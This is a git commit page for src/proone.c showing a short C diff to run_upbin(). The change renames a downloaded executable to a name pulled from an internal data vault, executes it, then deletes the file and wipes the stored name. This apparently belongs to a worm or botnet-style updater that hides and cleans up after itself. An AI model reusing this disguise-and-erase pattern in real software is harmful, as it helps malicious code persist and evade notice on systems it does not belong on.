aboutsummaryrefslogtreecommitdiff
path: root/src/proone.c
diff options
context:
space:
mode:
authorDavid Timber <mieabby@gmail.com>2021-07-22 23:29:07 +1000
committerDavid Timber <mieabby@gmail.com>2021-07-22 23:29:07 +1000
commitd875ed3b36f2a3fb5d6ceb3c37f6749603e4d0d3 (patch)
tree9c35f7f007b98afc873aa76278d1f142f5557009 /src/proone.c
parent47890abcbb69fbfedaf7ac964e08079743e6d851 (diff)
Fix proone ...
* Fix missing feature: renaming downloaded exec to the value of PRNE_DATA_KEY_EXEC_NAME
Diffstat (limited to 'src/proone.c')
-rw-r--r--src/proone.c14
1 files changed, 13 insertions, 1 deletions
diff --git a/src/proone.c b/src/proone.c
index 4429204..23be2d8 100644
--- a/src/proone.c
+++ b/src/proone.c
@@ -1167,15 +1167,23 @@ static void run_upbin (void) {
char **args = NULL;
char *add_args[1] = { NULL };
char *m_args = NULL;
+ const char *path = prne_s_g->upbin_path;
// copy data from shared global as it will be unmapped before exec() call.
- add_args[0] = prne_dup_str(prne_s_g->upbin_path);
+ add_args[0] = prne_dup_str(
+ prne_dvault_get_cstr(PRNE_DATA_KEY_EXEC_NAME, NULL));
+ prne_dvault_reset();
m_args = prne_malloc(1, sizeof(prne_s_g->upbin_args));
if (add_args[0] == NULL || m_args == NULL) {
goto END;
}
memcpy(m_args, prne_s_g->upbin_args, sizeof(prne_s_g->upbin_args));
+ if (rename(prne_s_g->upbin_path, add_args[0]) != 0) {
+ goto END;
+ }
+ path = add_args[0];
+
args = prne_htbt_parse_args(
m_args,
sizeof(prne_s_g->upbin_args),
@@ -1190,6 +1198,10 @@ static void run_upbin (void) {
do_exec(args[0], args);
END:
+ unlink(path);
+ prne_s_g->upbin_path[0] = 0;
+
+ prne_strzero(add_args[0]);
prne_free(add_args[0]);
prne_free(m_args);
prne_free(args);